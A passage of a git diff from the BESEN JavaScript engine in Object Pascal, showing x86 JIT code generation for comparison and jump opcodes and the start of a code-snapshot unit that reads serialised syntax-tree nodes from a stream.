+ jmp @Skip + @CodeBegin: + fstsw ax + sahf + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGTNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$9f); // fcomp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setnbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLENUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$9f); // fcomp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGENUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$9f); // fcomp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setnb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopEQNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$9f); // fcomp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopNEQNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$9f); // fcomp qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + not eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLTSTR:begin + AddDispatcher; + end; + bopGTSTR:begin + AddDispatcher; + end; + bopLESTR:begin + AddDispatcher; + end; + bopGESTR:begin + AddDispatcher; + end; + bopEQSTR:begin + AddDispatcher; + end; + bopNEQSTR:begin + AddDispatcher; + end; + bopSHLBOOL:begin + AddDispatcher; + end; + bopSHRBOOL:begin + AddDispatcher; + end; + bopBANDBOOL:begin + AddDispatcher; + end; + bopBXORBOOL:begin + AddDispatcher; + end; + bopBORBOOL:begin + AddDispatcher; + end; + bopSHLNUM:begin + AddDispatcher; + end; + bopSHRNUM:begin + AddDispatcher; + end; + bopUSHRNUM:begin + AddDispatcher; + end; + bopBANDNUM:begin + AddDispatcher; + end; + bopBXORNUM:begin + AddDispatcher; + end; + bopBORNUM:begin + AddDispatcher; + end; + bopSETCUNDEF:begin + asm + jmp @Skip + @CodeBegin: + lea eax,dword ptr [esi+TBESENCodeContext.ResultValue] + mov dword ptr [eax+TBESENValue.ValueType],bvtUNDEFINED + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCNULL:begin + asm + jmp @Skip + @CodeBegin: + lea eax,dword ptr [esi+TBESENCodeContext.ResultValue] + mov dword ptr [eax+TBESENValue.ValueType],bvtNULL + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCBOOL:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea eax,dword ptr [esi+TBESENCodeContext.ResultValue] + mov dword ptr [eax+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [edx+TBESENValue.Bool] + mov dword ptr [eax+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCNUM:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea eax,dword ptr [esi+TBESENCodeContext.ResultValue] + mov dword ptr [eax+TBESENValue.ValueType],bvtNUMBER + fld qword ptr [edx+TBESENValue.Num] + fstp qword ptr [eax+TBESENValue.Num] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCSTR:begin + AddDispatcher; + end; + bopSETCOBJ:begin + Add(#$8d#$97); // lea edx,dword ptr [edi+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea eax,dword ptr [esi+TBESENCodeContext.ResultValue] + mov dword ptr [eax+TBESENValue.ValueType],bvtOBJECT + mov ecx,dword ptr [edx+TBESENValue.Obj] + mov dword ptr [eax+TBESENValue.Obj],ecx + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + bopTRACENEW:begin + AddDispatcher; + end; + bopTRACECALL:begin + AddDispatcher; + end; + bopLTNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [Literal.Num] + AddDWord(ptruint(pointer(@Code.Literals[Operands^[2]].Num))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGTNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [Literal.Num] + AddDWord(ptruint(pointer(@Code.Literals[Operands^[2]].Num))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setnbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLENUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [Literal.Num] + AddDWord(ptruint(pointer(@Code.Literals[Operands^[2]].Num))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGENUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [Literal.Num] + AddDWord(ptruint(pointer(@Code.Literals[Operands^[2]].Num))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setnb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopEQNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [Literal.Num] + AddDWord(ptruint(pointer(@Code.Literals[Operands^[2]].Num))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopNEQNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [Literal.Num] + AddDWord(ptruint(pointer(@Code.Literals[Operands^[2]].Num))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + not eax + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$c7#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$89#$87); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopJZERO:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + if longword(Operands^[0])<>CurrentPC then begin + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [BESENDoubleZero] + AddDWord(ptruint(pointer(@BESENDoubleZero))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + cmp eax,0 + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$0f#$85); // jnz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; +{$endif} + end; + bopJNZERO:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + if longword(Operands^[0])<>CurrentPC then begin + Add(#$dd#$87); // fld qword ptr [edi+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$dc#$1d); // fcomp qword ptr [BESENDoubleZero] + AddDWord(ptruint(pointer(@BESENDoubleZero))); + + asm + jmp @Skip + @CodeBegin: + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + cmp eax,0 + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$0f#$84); // jz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; +{$endif} + end; + else begin + AddDispatcher; + end; + end; + + end; + RetOfs:=CodeBufferLen; + Add(#$c3); // ret + SetLength(CodeBuffer,CodeBufferLen); + Code.NativeCodeSize:=CodeBufferLen; + Code.NativeCode:=TBESEN(CodeContext.Instance).NativeCodeMemoryManager.GetMemory(Code.NativeCodeSize); + move(CodeBuffer[0],Code.NativeCode^,Code.NativeCodeSize); + SetLength(Code.NativeCodePCOffsets,Code.ByteCodeLen); + for i:=0 to Code.ByteCodeLen-1 do begin + Code.NativeCodePCOffsets[i]:=pointer(@PBESENByteArray(Code.NativeCode)[Offsets[i]]); + end; + for i:=0 to CountFixups-1 do begin + case FixUps[i].Kind of + fkPTR:begin + ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs])^):=(ptruint(FixUps[i].Dest)-(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs]))+4)); + end; + fkRET:begin + ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs])^):=(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[RetOfs]))-(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs]))+4)); + end; + fkOFS:begin + ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs])^):=(ptruint(Code.NativeCodePCOffsets[FixUps[i].ToOfs])-(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs]))+4)); + end; + end; + end; + result:=true; + finally + SetLength(Fixups,0); + SetLength(Offsets,0); + SetLength(CodeBuffer,0); + end; +end; + +function BESENExecuteNativeCode(ACodeContext:TObject):TBESENBoolean; {$ifdef UseRegister}register;{$endif} +asm + push ebp + push ebx + push esi + push edi + mov esi,eax //ACodeContext + mov dword ptr [esi+TBESENCodeContext.BlockRunning],$ffffffff + mov edi,dword ptr [esi+TBESENCodeContext.RegisterValues] + mov edx,dword ptr [esi+TBESENCodeContext.Code] + mov ebx,dword ptr [edx+TBESENCode.Body] + mov ebx,dword ptr [ebx+TBESENASTNodeFunctionBody.IsFunction] + test ebx,ebx + jz @IsNoFunction + mov ebx,dword ptr [esi+TBESENCodeContext.Context] + mov ebx,dword ptr [ebx+TBESENContext.VariableEnvironment] + mov ebx,dword ptr [ebx+TBESENLexicalEnvironment.EnvironmentRecord] + mov ebx,dword ptr [ebx+TBESENDeclarativeEnvironmentRecord.HashValues] + @IsNoFunction: + mov ebp,dword ptr [edx+TBESENCode.NativeCodePCOffsets] + mov edx,dword ptr [esi+TBESENCodeContext.PC] + call dword ptr [ebp+edx*4] + mov eax,dword ptr [esi+TBESENCodeContext.BlockRunning] + pop edi + pop esi + pop ebx + pop ebp +end; +{$endif} +{$endif} + +end. diff --git a/Core/JS/BESENCodeSnapshot.pas b/Core/JS/BESENCodeSnapshot.pas new file mode 100644 index 0000000..a8c49ae --- /dev/null +++ b/Core/JS/BESENCodeSnapshot.pas @@ -0,0 +1,1387 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCodeSnapshot; +{$i BESEN.inc} + +interface + +uses SysUtils,Classes,BESENConstants,BESENTypes,BESENBaseObject,BESENASTNodes; + +type TBESENCodeSnapshot=class(TBESENBaseObject) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function LoadFromStream(const Stream:TStream):TBESENASTNode; + procedure SaveToStream(const Stream:TStream;const RootNode:TBESENASTNode); + end; + +implementation + +uses BESEN,BESENValue,BESENInt64SelfBalancedTree,BESENPointerSelfBalancedTree, + BESENCode,BESENOpcodes,BESENUtils,BESENKeyIDManager, + BESENVersionConstants; + +constructor TBESENCodeSnapshot.Create(AInstance:TObject); +begin + inherited Create(AInstance); +end; + +destructor TBESENCodeSnapshot.Destroy; +begin + inherited Destroy; +end; + +function TBESENCodeSnapshot.LoadFromStream(const Stream:TStream):TBESENASTNode; +type TLoadedKeyManagerID=packed record + ID:integer; + Key:TBESENString; + end; + TLoadedKeyManagerIDs=array of TLoadedKeyManagerID; +var VisitedNodes:TBESENInt64SelfBalancedTree; + LoadedKeyManagerIDs:TLoadedKeyManagerIDs; + procedure BESENThrowStream(const s:string); + begin + raise EStreamError.Create(s); + end; + function ReadByte:byte; + begin + if Stream.Read(result,sizeof(byte))<>sizeof(byte) then begin + BESENThrowStream('Couldn''t read byte'); + end; + end; + function ReadBool:boolean; + begin + result:=ReadByte<>0; + end; + function ReadInt32:integer; + begin + if Stream.Read(result,sizeof(integer))<>sizeof(integer) then begin + BESENThrowStream('Couldn''t read integer'); + end; + end; + function ReadInt64:int64; + begin + if Stream.Read(result,sizeof(int64))<>sizeof(int64) then begin + BESENThrowStream('Couldn''t read int64'); + end; + end; + function ReadDouble:double; + begin + if Stream.Read(result,sizeof(double))<>sizeof(double) then begin + BESENThrowStream('Couldn''t double double'); + end; + end; + function ReadWideString:widestring; + var l:integer; + begin + l:=ReadInt32; + SetLength(result,l); + if length(result)>0 then begin + if Stream.Read(result[1],sizeof(widechar)*length(result))<>(sizeof(widechar)*length(result)) then begin + BESENThrowStream('Couldn''t read widestring'); + end; + end; + end; + function ReadNode:TBESENASTNode; + var Counter,Target,LineNumber,i,j,k:integer; + VisitNodeValue:TBESENInt64SelfBalancedTreeValue; + v:PBESENValue; + Ptr:int64; + NodeType:TBESENASTNodeType; + Code:TBESENCode; + FunctionLiteral:TBESENASTNodeFunctionLiteral; + function CreateNode(c:TBESENASTNodeClass):TBESENASTNode; + var Counter:integer; + begin + result:=c.Create(Instance); + VisitNodeValue.p:=result; + VisitedNodes.Insert(Ptr,VisitNodeValue); + TBESENASTNode(result).NodeType:=NodeType; + TBESENASTNode(result).Target:=Target; + TBESENASTNode(result).Location.LineNumber:=LineNumber; + TBESENASTNode(result).CountTrashNodes:=ReadInt32; + SetLength(TBESENASTNode(result).TrashNodes,TBESENASTNode(result).CountTrashNodes); + for Counter:=0 to TBESENASTNode(result).CountTrashNodes-1 do begin + TBESENASTNode(result).TrashNodes[Counter]:=TBESENASTNodeStatement(ReadNode); + end; + end; + begin + result:=nil; + try + Ptr:=ReadInt64; + if Ptr<>0 then begin + if VisitedNodes.Find(Ptr,VisitNodeValue) then begin + result:=VisitNodeValue.p; + end else begin + NodeType:=ReadByte; + Target:=ReadInt32; + LineNumber:=ReadInt32; + case NodeType of + bntNONE:begin + result:=CreateNode(TBESENASTNode); + end; + bntEXPRESSION:begin + result:=CreateNode(TBESENASTNodeExpression); + end; + bntLITERAL:begin + result:=CreateNode(TBESENASTNodeLiteral); + end; + bntIDENTIFIER:begin + result:=CreateNode(TBESENASTNodeIdentifier); + TBESENASTNodeIdentifier(result).Name:=ReadWideString; + TBESENASTNodeIdentifier(result).Index:=ReadInt32; + TBESENASTNodeIdentifier(result).ParameterIndex:=ReadInt32; + i:=ReadInt32; + if (i>=0) and (i<length(LoadedKeyManagerIDs)) then begin + TBESENASTNodeIdentifier(result).ID:=LoadedKeyManagerIDs[i].ID; + end else begin + TBESENASTNodeIdentifier(result).ID:=i; + end; + TBESENASTNodeIdentifier(result).IsParameter:=ReadBool; + TBESENASTNodeIdentifier(result).IsLocal:=ReadBool; + end; + bntVARIABLEDECLARATION:begin + result:=CreateNode(TBESENASTNodeVariableDeclaration); + TBESENASTNodeVariableDeclaration(result).Identifier:=TBESENASTNodeIdentifier(ReadNode); + TBESENASTNodeVariableDeclaration(result).Expression:=TBESENASTNodeExpression(ReadNode); + end; + bntVARIABLEEXPRESSION:begin + result:=CreateNode(TBESENASTNodeVariableExpression); + SetLength(TBESENASTNodeVariableExpression(result).Declarations,ReadInt32); + for Counter:=0 to length(TBESENASTNodeVariableExpression(result).Declarations)-1 do begin + TBESENASTNodeVariableExpression(result).Declarations[Counter]:=TBESENASTNodeVariableDeclaration(ReadNode); + end; + end; + bntFUNCTIONBODY:begin + result:=CreateNode(TBESENASTNodeFunctionBody); + TBESENASTNodeFunctionBody(result).IsFunction:=ReadBool; + TBESENASTNodeFunctionBody(result).IsEmpty:=ReadBool; + TBESENASTNodeFunctionBody(result).EnableLocalsOptimization:=ReadBool; + TBESENASTNodeFunctionBody(result).DisableArgumentsObject:=ReadBool; + SetLength(TBESENASTNodeFunctionBody(result).Variables,ReadInt32); + for Counter:=0 to length(TBESENASTNodeFunctionBody(result).Variables)-1 do begin + 